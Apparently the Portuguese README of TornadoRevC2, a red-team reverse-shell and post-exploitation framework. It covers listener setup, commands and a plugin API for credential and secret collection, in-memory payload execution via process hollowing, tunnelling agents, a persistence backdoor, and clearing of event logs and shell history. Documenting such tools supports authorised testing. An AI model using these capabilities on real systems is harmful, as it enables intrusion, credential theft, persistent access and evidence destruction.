Framework modular de pós-exploração que gerencia sessões de reverse-shell sobre TCP/TLS/mTLS com plugins para enumeração, execução em memória, pivoting SOCKS5 e persistência.
Um framework de pós-exploração leve e modular para pesquisa de segurança autorizada, operações de red-team e testes de penetração. O TornadoRevC2 gerencia sessões de reverse shell em hosts Linux e Windows através de um console de operador unificado, estendendo o tratamento central de sessões com uma arquitetura de plugins multiplataforma para enumeração de host, consciência situacional e tarefas operacionais.
Importante: O TornadoRevC2 é um manipulador de sessões e framework de pós-exploração — não uma plataforma de comando-e-controle no estilo beacon. Ele prioriza shells interativos confiáveis, fluxos de trabalho estruturados para o operador e execução de plugins sob demanda em vez de infraestrutura de agente persistente.
Use este software apenas em sistemas que você possui ou em sistemas para os quais você tem autorização escrita explícita. Você é o único responsável pelo cumprimento das leis aplicáveis e das políticas organizacionais. Os autores e contribuidores não aceitam qualquer responsabilidade por uso indevido, perda de dados ou consequências legais decorrentes do uso deste projeto.
Demonstração rápida: gerenciamento de sessões, execução de plugins, pivoting via SOCKS5.
O TornadoRevC2 é um framework modular de gerenciamento de reverse shell que aceita conexões de entrada via TCP simples, TLS com autenticação de servidor e TLS mútuo (mTLS) com verificação de certificado de cliente, fornecendo um console de operador unificado para gerenciamento de sessões, reconhecimento de host, transferência de arquivos em chunks, execução de payload em memória, pivoting via SOCKS5, pós-exploração orientada por plugins, relatórios estruturados e um comando update integrado para atualizações automáticas baseadas em Git e reinicializações contínuas do handler. Originalmente desenvolvido como um manipulador de reverse shell leve, o projeto evoluiu para um framework extensível no qual capacidades como enumeração de firewall, coleta de metadados de armazenamento de credenciais, mapeamento de rede, perfilamento de navegador e funcionalidades adicionais de pós-exploração são implementadas como plugins independentes e modulares. O framework também inclui o plugin make_token para estabelecer novas sessões de C2 via protocolos remotos (SSH, WinRM, SMB, RDP, WMI, MSSQL) usando ferramentas de linha de comando do lado do operador, com suporte a portas personalizadas, autenticação por hash NTLM e integração com netexec, e um plugin upgrade_mtls que migra uma sessão ativa para o listener de TLS mútuo, enviando o pacote de certificado de cliente do handler para o alvo.
Plataformas alvo suportadas: Linux e Windows (principais), com compatibilidade para ambientes Unix e BSD genéricos quando aplicável.
| Categoria | Capacidades |
|---|---|
| Gerenciamento de sessões | Listeners TCP / TLS / mTLS multi-cliente com bootstrapping automático de PKI · Upgrade mTLS sob demanda para sessões ativas · Shells PTY/TTY interativos · Fingerprinting de sessão e rastreamento de reconexão |
| Transferência de arquivos | Upload e download em chunks · Verificação de integridade SHA-256 |
| Execução de payload | Execução em memória para py, ps, exe, elf, bat e sh |
| Pivoting e tunelamento | Proxy SOCKS5 através de sessões comprometidas com limpeza remota automática · Implantação de agentes Ligolo-NG e Chisel com persistência em segundo plano |
| Estabelecimento de sessão remota | make_token — estabelece novas sessões via SSH, WinRM, SMB, RDP, WMI e MSSQL do lado do operador, com autenticação por hash NTLM e integração com netexec |
| Impersonação | runas — executa comandos ou abre um shell criptografado com TLS como outro usuário, local ou remoto, com suporte a domínio e integração com netexec |
| Enumeração | Abrangendo triagem de host, postura de rede, credenciais e metadados de navegador, tickets Kerberos, internos do Linux e configuração de domínio e sistema do Windows |
| Plugins operacionais | Limpeza segura de arquivos em múltiplas passagens · Criptografia híbrida de arquivos · Limpeza de histórico de shell · Limpeza de logs de eventos do Windows |
| Persistência | Instalação de backdoor multiplataforma usando payloads criptografados com TLS — cron @reboot no Linux/Unix, registro Run no Windows |
| Extensibilidade | Carregamento, recarregamento e descarregamento de plugins em tempo de execução · Plugins externos via TORNADOREVC2_PLUGIN_DIR · API SessionContext documentada |
| Relatórios | Registro por sessão · Saída estruturada de plugins · Exportação de transcrição em HTML |
| Auto-atualização | Comando update baseado em Git com verificação de repositório, pull fast-forward e reinicialização automática do handler · Compatível com forks, com detecção de divergência e prompt de reset seguro |
Não suportado: Agendamento de tarefas ou infraestrutura de callback no estilo beacon.
O TornadoRevC2 foi projetado para ambientes onde o atrito de implantação e a pegada operacional são importantes.
Os plugins utilizam utilitários nativos do Windows e Linux e comandos de sistema integrados já presentes no host alvo — netsh, ss, iptables, ufw, firewall-cmd, nft, cmdlets do PowerShell, nmcli, wevtutil, entre outros. Os coletores invocam essas ferramentas através do canal de reverse shell e analisam a saída remotamente, minimizando a necessidade de enviar binários adicionais ou instalar dependências.
As operações de plugins executam através do canal de reverse shell existente e não requerem o envio de binários, executáveis, scripts ou arquivos temporários para o sistema alvo. As tarefas de enumeração são executadas como comandos nativos ou scripts coletores em processo; os resultados retornam como JSON marcado através do shell. O único artefato inevitável é o histórico de comandos normal gerado pelo próprio shell.
Quando uma rotina de enumeração falha, está indisponível ou expira, o plugin não aborta completamente. A seção afetada é deixada vazia ou marcada como N/A, enquanto o restante do relatório continua.
As atualizações do handler são entregues via Git na máquina do operador. O comando update usa timeouts limitados de subprocessos, configurações Git não interativas e um caminho rápido de desligamento local para que o handler possa reiniciar de forma confiável sem bloquear na limpeza de sessões remotas.
┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘
### Configuração de Listeners
O TornadoRevC2 executa **três listeners independentes simultaneamente**, para que os implants possam se conectar via texto simples, TLS com autenticação de servidor ou TLS com autenticação mútua, dependendo do modelo de ameaça do engajamento:
| Listener | Porta padrão | Flag | Autenticação | Certificados |
|----------|--------------|------|----------------|--------------|
| TCP | `4444` | `-p` | Nenhuma | Nenhum |
| TLS | `8443` | `-tp` | Autenticação de servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | `-mp` | Mútua (certificado de cliente obrigatório) | pacote `mtls_certs/` (CA + servidor + cliente) |
A flag `-H` define o endereço de bind compartilhado pelos três listeners. Todos os três podem ser habilitados ao mesmo tempo; desabilitar um não é atualmente necessário — deixe a porta livre ou não vinculada para ignorá-la.
**Geração automática de certificados.** Na primeira inicialização, o handler cria dois diretórios isolados e inicializa o material necessário:```text
tls_certs/
server.pem # self-signed server certificate
server.key # server private key
mtls_certs/
ca.pem # mTLS certificate authority (self-signed, 4096-bit RSA)
ca.key # CA private key
ca.srl # OpenSSL serial counter (auto-generated)
server-mtls.pem # server cert signed by CA
server-mtls.key # server private key
client.pem # client cert signed by CA — ship to implant
client.key # client private key — ship to implant
tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery
**Plugins compartilhados** (`firewall`, `ports`, `browser`, `credstore`, e outros) existem como módulos únicos unificados em `shared/`. **Plugins específicos de plataforma**, como `rdp` e `eventlogdel`, residem exclusivamente em `windows/` ou `linux/` e não são duplicados em `shared/`.
Os coletores emitem JSON envolvido em tokens marcadores (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). O executor compartilhado analisa essa saída, formata um relatório voltado ao operador e persiste os resultados no diretório de log da sessão.
---
## Requisitos e Instalação
**Handler (máquina do operador):**
- Python 3.7 ou posterior
- OpenSSL (para geração automática de certificados TLS e mTLS)
- Git (opcional; necessário para o comando de operador `update`)
- Nenhum pacote Python de terceiros é necessário```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py
python tornadorevc2.py
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443
python tornadorevc2.py
-c tls_certs/server.pem -k tls_certs/server.key
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### 2. Estabelecer uma sessão
Implante um reverse shell a partir do catálogo integrado (`payloads`) ou use seu próprio implant. Ao conectar, o TornadoRevC2 atribui um ID de sessão e começa a registrar em `logs/`.
### 3. Operar```bash
status # List active sessions
switch 1 # Attach to session 1
sysinfo 1 # Collect host metadata
run credstore 1 # Credential store metadata
run memorymap 1 1234 # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh # In-memory script execution
update # Pull latest from GitHub and restart (Git installs)
Quando anexado via switch <ID>, omita o ID da sessão nos comandos subsequentes (run quickenum em vez de run quickenum 1). As listagens de plugins e a conclusão por TAB dentro de uma sessão de cliente são filtradas para plugins compatíveis com a plataforma dessa sessão.
O comando update está disponível apenas a partir do prompt do handler principal. Ele verifica se o Git está instalado, confirma que a instalação é uma árvore de trabalho Git, faz fetch a partir do remoto configurado, faz fast-forward pull quando existem atualizações e reinicia o handler com o mesmo executável e argumentos. Se a instalação já estiver atualizada, imprime TornadoRevC2 is already running the latest version. e deixa o servidor em execução.
| Comando | Descrição |
|---|---|
status / ls | Listar sessões de reverse shell ativas |
sessions | Mostrar sessões rastreadas, incluindo hosts desligados |
reconnects | Exibir histórico de reconexão de sessões |
switch <ID> | Anexar a uma shell de sessão interativa |
kill <ID> | Terminar uma sessão |
rename <ID> <name> / rn <ID> <name> | Atribuir um nome amigável |
sysinfo <ID> [--stealth|--full] | Recolher ou atualizar informação do host |
export <ID> | Exportar uma transcrição HTML da sessão |
| Comando | Descrição |
|---|---|
plugins / plugins list | Listar plugins registados |
plugins list --verbose | Mostrar caminhos dos módulos e estado de carregamento |
plugins load <name> | Carregar um plugin externo em tempo de execução |
plugins unload <name> | Desativar ou descarregar um plugin |
plugins reload <name> | Recarregar um módulo de plugin |
plugins info <name> | Exibir metadados do plugin |
run <plugin> <ID> [args...] | Executar um plugin contra uma sessão |
| Comando | Descrição |
|---|---|
upload [--resume] <ID> <local> <remote> | Enviar com transferência em blocos |
download [--resume] <ID> <remote> <local> | Descarregar com transferência em blocos |
verify <ID> <remote> / hash <ID> <remote> | Verificar tamanho e SHA-256 do ficheiro remoto |
| Comando | Descrição |
|---|---|
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>] | Executar payload em memória |
Tipos suportados: py, ps, exe, elf, bat, sh
| Comando | Forma em sessão | Descrição |
|---|---|---|
socks <ID> <listen_port> | socks <listen_port> | Iniciar um proxy SOCKS5 através de uma sessão (listener local em 127.0.0.1:<listen_port>) |
socks <ID> test <host> <port> | socks test <host> <port> | Testar acessibilidade TCP a um host interno através do agente de túnel |
socks <ID> reset | socks reset | Reiniciar os streams do agente de túnel e descartar dados em buffer (não para listeners SOCKS ativos) |
socks stop <proxy_id> | socks stop <proxy_id> | Parar um proxy SOCKS e limpar artefactos do túnel remoto quando nenhum outro proxy usa a sessão |
tunnels | tunnels | Listar proxies SOCKS ativos, contagem de canais e estado |
| Comando | Descrição |
|---|---|
payloads | Exibir a referência de payloads incorporada |
update | Verificar atualizações a partir do repositório oficial do GitHub e reiniciar após um fast-forward pull bem-sucedido (requer Git; apenas no menu principal) |
help | Mostrar a referência de comandos |
exit / quit | Encerrar o handler |
O TornadoRevC2 inclui 51 plugins incorporados organizados por função. Todos os plugins relacionados com enumeração são apenas de leitura, salvo indicação em contrário.
| Plugin | Plataforma | Descrição |
|---|---|---|
quickenum | Multiplataforma | Triagem rápida e estruturada do host: identidade, rede, ambiente, descobertas priorizadas |
virtualization | Multiplataforma | Deteção de virtualização, contentores, orquestração e ambiente cloud |
kernel | Multiplataforma | Versão do kernel, módulos/drivers carregados, mitigações de segurança e configuração do kernel |
integrity | Multiplataforma | Secure Boot, BitLocker/LUKS, imposição de assinatura de código, kernel lockdown e proteções de integridade |
filesearch | Multiplataforma | Pesquisar ficheiros por caminho, nome, extensão, tamanho, proprietário, mtime (run filesearch help para opções) |
packages | Multiplataforma | Software instalado, gestores de pacotes, configuração de repositórios e instalações recentes |
sysinfo | Multiplataforma | Recolha de metadados do host (comando do handler, não é um plugin) |
kerberosenum | Multiplataforma | Metadados de tickets Kerberos: caches, principal predefinido, realm, TGT, service tickets, tipos de encriptação, flags (renewable/forwardable), ficheiros keytab, configuração krb5.conf/registo e variáveis de ambiente (sem segredos) |
| Plugin | Plataforma | Descrição |
|---|---|---|
firewall | Multiplataforma | Estado da firewall, perfis/zonas, políticas e regras notáveis (WDF, UFW, firewalld, nftables, iptables) |
ports | Multiplataforma | Portas à escuta, ligações estabelecidas, processos proprietários e routing |
proxy | Multiplataforma | Definições de proxy do sistema, ambiente, PAC/WPAD e navegador |
vpn | Multiplataforma | Clientes VPN, ligações ativas, adaptadores e metadados de configuração |
| Plugin | Plataforma | Descrição |
|---|---|---|
credstore | Multiplataforma | Metadados de armazenamento de credenciais (sem extração de segredos): Credential Manager, keyrings, armazenamentos de navegadores |
browser | Multiplataforma | Navegadores instalados, perfis, extensões, marcadores e políticas empresariais |
clipboard | Multiplataforma | Captura de texto da área de transferência remota |
secrets | Linux/Unix | Ficheiros de configuração, variáveis de ambiente, chaves SSH e credenciais cloud |
| Plugin | Plataforma | Descrição |
|---|---|---|
history | Multiplataforma | Histórico de shell, logs de pacotes/atualizações e atividade de login recente |
mounts | Multiplataforma | Pontos de montagem, partilhas SMB/NFS, unidades mapeadas, sistemas de ficheiros de contentores |
memorymap | Multiplataforma | Mapas de memória de processos e módulos carregados para um PID especificado |
screenshot | Multiplataforma | Captura de ecrã devolvida ao operador (sessões GUI; PNG guardado localmente) |
cron | Linux/Unix | Tarefas cron, crontabs de sistema, crontabs de utilizador e filas at |
systemd | Linux/Unix | Serviços, timers, unidades falhadas e unidades de arranque ativadas |
privbins | Linux/Unix | Binários SUID/SGID, capacidades de ficheiro e executáveis relevantes para escalada de privilégios |
lsm | Linux/Unix | SELinux, AppArmor e outros Linux Security Modules: modo de imposição, políticas e configuração |
journal | Linux/Unix | Resumos estruturados do journalctl: autenticação, kernel, falhas de serviços e eventos recentes |
sshaudit | Linux/Unix | Enumeração do servidor SSH: configuração efetiva do sshd, superfície de autenticação, opções de pivot, chaves do host, authorized_keys e confiança CA |
containers | Linux/Unix | Runtimes e workloads de contentores: Docker, Podman, containerd, CRI-O, LXC/LXD e indicadores Kubernetes |
usersessions | Multiplataforma | Sessões locais, remotas, SSH, RDP, consola e de serviço ativas com metadados de login/origem |
| Plugin | Plataforma | Descrição |
|---|---|---|
adinfo | Windows | Associação ao domínio, controladores de domínio, florestas, relações de confiança e OUs |
services | Windows | Serviços Windows, tipos de arranque, binários e contas de serviço |
scheduledtasks | Windows | Tarefas agendadas, triggers, contexto de execução e ações |
registry | Windows | Chaves de autorun, localizações de arranque e software instalado |
eventlogs | Windows | Resumos de logs Security, System, Application e PowerShell |
defender | Windows | Estado do Microsoft Defender, exclusões, regras ASR e AV de terceiros |
certificates | Windows | Armazenamentos de certificados, assinatura de código e certificados empresariais |
rdp | Windows | Configuração do Remote Desktop, estado, destinos recentes e definições |
gpo | Windows | GPOs aplicadas, políticas de segurança locais/domínio, AppLocker, WDAC, SRP e scripts GPO |
winrm | Windows | Configuração do WinRM, listeners, métodos de autenticação, integração com firewall e estado de remoting |
drivers | Windows | Drivers e módulos de kernel instalados, estado assinado/não assinado, tipo de arranque e drivers notáveis de segurança/VM |
powershell | Windows | Versão do PowerShell, política de execução, logging, módulos, definições de remoting e caminhos de perfil |
lsa | Windows | Proteção LSA, Credential Guard, segurança baseada em virtualização e configuração de segurança de credenciais |
| Plugin | Plataforma | Descrição |
|---|---|---|
inmemory | Multiplataforma | Execução de payload em memória (py, ps, exe, elf, bat, sh) |
make_token | Multiplataforma | Estabelecer sessões C2 via protocolos remotos (SSH, WinRM, SMB, RDP, WMI, MSSQL) usando ferramentas CLI do lado do operador com suporte para portas personalizadas, hashes NTLM e integração netexec |
nullcrypt | Multiplataforma | Encriptar um ficheiro de forma híbrida (AES-GCM + chave encapsulada com RSA) e depois apagar de forma segura o original via wiper |
wiper | Multiplataforma | Sobrescrita segura configurável multi-pass (renomear, truncar, eliminar); perfis: quick, standard, dod, thorough, shred |
historydel | Multiplataforma | Limpar ficheiros de histórico de shell do utilizador atual e armazenamento relacionado |
eventlogdel | Windows | Limpar Windows Event Logs via wevtutil / Clear-EventLog nativos |
runas | Windows | Executar comandos ou lançar uma reverse shell encriptada com TLS como outro utilizador (local/remoto) com gestão de credenciais, suporte de domínio e integração netexec |
ligolong | Multiplataforma | Implementar o agente de tunelamento Ligolo‑NG em alvos Linux/Windows com persistência em background |
chisel | Multiplataforma | Implementar o agente de tunelamento Chisel em modo reverse (cliente) ou bind (servidor); suporta SOCKS5 e persistência em background |
persistence | Multiplataforma | Instalar uma backdoor de reverse shell persistente (cron @reboot / registo Run) usando payload encriptado com TLS |
upgrade_mtls | Multiplataforma | Enviar o bundle de cliente mTLS do handler para uma sessão e relançá-la sobre o listener mTLS (opt-in; não afeta outros listeners) |
Métodos de execução em memória:
| Tipo | Método |
|---|---|
py | Python via exec(compile(...)) |
ps | PowerShell via Invoke-Expression |
exe | Windows PE via RunPE em memória (process hollowing) |
elf | Linux ELF via memfd_create com fallback para /dev/shm |
sh | Shell script transmitido via bash -s |
bat | Batch script transmitido via stdin de cmd.exe /Q |
Scripts PEASS-ng para privesccheck em memória: github.com/carlospolop/PEASS-ng
Esta secção descreve como estender o TornadoRevC2 com plugins personalizados. Os plugins são módulos Python simples que registam comandos com @plugin.command e recebem um SessionContext para a sessão alvo. Não são necessárias alterações ao código do handler principal.
O sistema de plugins tem quatro camadas:
| Camada | Módulo | Responsabilidade |
|---|---|---|
| Registo | plugins/api.py | Decorador @plugin.command, registo global de comandos, SessionContext |
| Descoberta | plugins/loader.py | Analisa shared/, linux/, windows/ e diretórios externos; importa módulos |
| Execução | plugins/manager.py | Resolve a plataforma, constrói o contexto, invoca o handler, trata erros |
| Coletores | plugins/shared/runner.py | Análise de marcadores, extração de JSON, formatação de relatórios, logging |
No momento da importação, o decorador @plugin.command regista cada handler num registo global thread-safe. Em tempo de execução, PluginManager.run_plugin() valida a compatibilidade de plataforma, constrói um SessionContext e chama o handler com (session, args).
Os handlers devolvem um código de saída inteiro: 0 para sucesso, não-zero para falha. A consola do handler apresenta avisos para retornos não-zero.
Escolha uma localização com base no âmbito da plataforma e se o plugin é distribuído com o projeto:
| Localização | Âmbito | Carregado |
|---|---|---|
tornadorevc2/plugins/shared/ | Multiplataforma (implementações internas Windows + Linux) | Automaticamente no arranque |
tornadorevc2/plugins/linux/ | Apenas Linux/Unix | Automaticamente no arranque |
tornadorevc2/plugins/windows/ | Apenas Windows | Automaticamente no arranque |
./plugins/myplugin.py | Externo (qualquer âmbito que defina) | A pedido via plugins load |
./plugins/myplugin/__init__.py | Pacote externo | A pedido via plugins load |
Caminho em TORNADOREVC2_PLUGIN_DIR | Externo (diretório personalizado) | A pedido via plugins load |
Regras de organização:
common.py, runner.py e __init__.py em shared/ são ignorados durante a descoberta._ em linux/ ou windows/ são módulos auxiliares, não plugins.shared/ com ramificação interna por plataforma—não duplicar plugins multiplataforma em shared/ e em linux//windows/.rdp, eventlogdel) pertencem exclusivamente a windows/ ou linux/.Registe um comando com o decorador @plugin.command:```python
from tornadorevc2.plugins import plugin, SessionContext
@plugin.command(
name="myplugin", # Command name used with run myplugin <ID>
platforms=["linux", "windows", "unix"], # Supported session platforms
description="Short description for plugins list and TAB completion",
)
def run(session: SessionContext, args):
...
return 0 # 0 = success, non-zero = failure
**Valores de plataforma:** `linux`, `windows`, `unix`. Linux e `unix` são tratados como compatíveis — um plugin registrado para `linux` é executado em ambos. Padrão se omitido: `["linux", "windows", "unix"]`.
**Múltiplos comandos por módulo:** Um único arquivo pode registrar vários comandos aplicando `@plugin.command` a múltiplas funções. Cada um recebe um nome independente.
### Ciclo de vida de execução
Quando um operador executa `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)
Dentro de uma sessão anexada (switch <ID>), o ID da sessão é omitido e os argumentos começam imediatamente após o nome do plugin: run myplugin arg1 arg2.
Use quando você precisa de um comando rápido e pontual sem análise JSON estruturada. O handler executa um comando shell nativo, imprime a saída e registra o resultado.```python from tornadorevc2.plugins import plugin, SessionContext
@plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")
if session.is_windows:
cmd = "whoami /all"
else:
cmd = "id 2>/dev/null || whoami"
output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
session.print("Plugin 'whoami' failed — no output from target.", "red")
session.log_plugin_result("whoami", "", "no output")
return 1
report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
**Quando usar:** Sondagens simples, enumeração em uma linha, comandos que não precisam de relatórios estruturados.
**Métodos principais:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.
### Padrão 2: Coletor estruturado (recomendado)
Use para plugins de enumeração que coletam dados estruturados no alvo e retornam um relatório formatado. Este é o padrão usado por todos os plugins de reconhecimento integrados (`firewall`, `ports`, `browser`, etc.).
**Fluxo:**```text
Handler Target host
│ │
├─ session.log_event("started") │
├─ flush shell buffer │
├─ resolve platform (unix/windows) │
├─ build collector command/script ─────►│ Linux: inline Python or native shell
│ │ Windows: PowerShell script in-process
│ ├─ invoke native OS commands
│ ├─ assemble result dict
│ └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
│◄──────────────────────────────────────┤
├─ parse_collector_json(raw) │
├─ formatter(data) → report string │
├─ session.print(report) │
└─ session.log_plugin_result(...) │
Exemplo multiplataforma mínimo:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''
def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())
def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """
@plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )
**Parâmetros de `run_collector_plugin`:**
| Parâmetro | Tipo | Descrição |
|-----------|------|-------------|
| `session` | `SessionContext` | Sessão de destino |
| `plugin_name` | `str` | Nome usado em logs e mensagens de erro |
| `unix_builder` | `Callable[[], str]` ou `None` | Retorna o comando de shell Unix/Linux; `None` se indisponível |
| `win_builder` | `Callable[[], str]` ou `None` | Retorna o script PowerShell; `None` se indisponível |
| `formatter` | `Callable[[dict], str]` | Converte o dict JSON analisado em uma string de relatório |
| `timeout` | `float` | Número máximo de segundos para aguardar a saída marcada (padrão 30) |
Passe `None` para um builder de plataforma para marcar o plugin como indisponível nesse SO (consulte [Plugins específicos de plataforma](#platform-specific-plugins)).
Após salvar um plugin externo:```bash
plugins load processes
plugins info processes
run processes 1
Use quando precisar de validação de argumentos, construção dinâmica de coletor, processamento pós-coletor ou manipulação de arquivos do lado do operador que run_collector_plugin não cobre sozinho.
Exemplos no código-fonte:
| Plugin | Comportamento personalizado |
|---|---|
memorymap | Requer argumento PID; constrói coletor dinamicamente com PID incorporado |
wiper | Requer caminho remoto; ação destrutiva com saída de confirmação |
screenshot | Decodifica imagem base64 e salva PNG localmente na máquina do operador |
historydel | Executa coletor, depois envia comando shell de acompanhamento para limpeza de histórico em memória |
clipboard | Tratamento personalizado de falha suave via campo reason em vez de error rígido |
Exemplo de validação de argumentos (de memorymap):```python
import re
from tornadorevc2.plugins import plugin, SessionContext
from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json
@plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)
unix_cmd = _build_linux_command(pid) # builder accepts runtime args
win_ps = _build_windows_command(pid)
raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
session.print("Plugin 'memorymap' failed — no response from target.", "red")
return 1
data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
**Exemplo de processamento pós-coletor** (de `historydel`):```python
def run(session: SessionContext, args):
# ... run collector via _run_collector_marked ...
data = parse_collector_json(raw)
# Additional in-memory cleanup in the interactive shell
if session.is_unix:
session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
elif session.is_windows:
session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
report = format_historydel_report(data)
session.print(report, "green" if data.get("cleared") else "yellow")
return 0
Para acesso direto à execução marcada sem o wrapper completo do coletor, use _run_collector_marked e parse_collector_json de plugins/shared/runner.py.
Os coletores Linux são strings de código-fonte Python executadas no alvo via build_linux_collector_command().
Estrutura:
_linux_collector_source() retornando uma string bruta (r'''...''').result._emit(result) no final — nunca imprima marcadores manualmente._build_linux_command() → build_linux_collector_command(source).O wrapper em linux/_helpers.py automaticamente:
try/except_emit(obj) para escrever __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__{"error": "...", "traceback": "..."} em exceções não tratadaspython3 -c (ou fallback para python2)/tmp em chunks apenas quando o payload codificado excede ~4000 bytesPrefira comandos nativos:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""
result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)
**Diretrizes:**
- Use `subprocess.check_output(..., timeout=N)` para cada comando externo.
- Reduza listas grandes antes de emitir (limite de 50–80 entradas).
- Trate ferramentas ausentes de forma elegante—deixe seções vazias em vez de gerar erro.
- Evite incorporar strings de marcador na saída; o plugin `history` remove `__T_PLUGIN_*__` do texto coletado por esse motivo.
- Mantenha os coletores compactos para permanecer dentro do limite de tamanho inline e evitar o staging em `/tmp`.
### Coletores Windows
Os coletores Windows são strings de script PowerShell retornadas por `_build_windows_command()`.
**Estrutura:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _build_windows_command():
return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
summary = @{{ count = 0 }}
items = @()
}}
try {{
Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
$result.items += @{{ name = $_.Name; state = $_.State }}
}}
$result.summary.count = $result.items.Count
}} catch {{
$result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""
Diretrizes:
$ErrorActionPreference='SilentlyContinue' no topo.-EA 0 (ErrorAction SilentlyContinue) em cmdlets que podem falhar em sistemas mais antigos.{{ e }} para hashtables e blocos de script do PowerShell.[ordered]@{{...}} para preservar a ordem das chaves na saída JSON.Get-NetTCPConnection, Get-Process, netsh, wevtutil) em vez de ferramentas externas.try/catch para que uma falha não aborte todo o coletor.win_client.py para captura confiável da saída.Alternativa: Para plugins exclusivos do Windows com pontos de entrada mínimos, use uma única função build_command():```python
@plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)
### Convenções de payload JSON
Os coletores devem retornar um dict serializável em JSON. O runner e os formatadores esperam um uso consistente de chaves:
| Chave | Tipo | Propósito |
|-----|------|---------|
| `summary` | `dict` | Contagens e estatísticas de alto nível; renderizado primeiro por `format_generic_report()` |
| `error` | `str` | **Falha grave** — o runner imprime o erro e retorna o código de saída 1 |
| `traceback` | `str` | Opcional; registrado como detalhe quando `error` está definido |
| `reason` | `str` | **Falha leve** — use com formatadores personalizados (ex.: área de transferência indisponível) |
| `ok` | `bool` | Sinalizador de sucesso para plugins operacionais (captura de tela, área de transferência) |
| Listas de `dict` | `list` | Renderizadas como tabelas por `format_generic_report()` |
| Listas de `str` | `list` | Renderizadas como listas com marcadores |
| `dict` aninhado | `dict` | Renderizado como seções rotuladas |
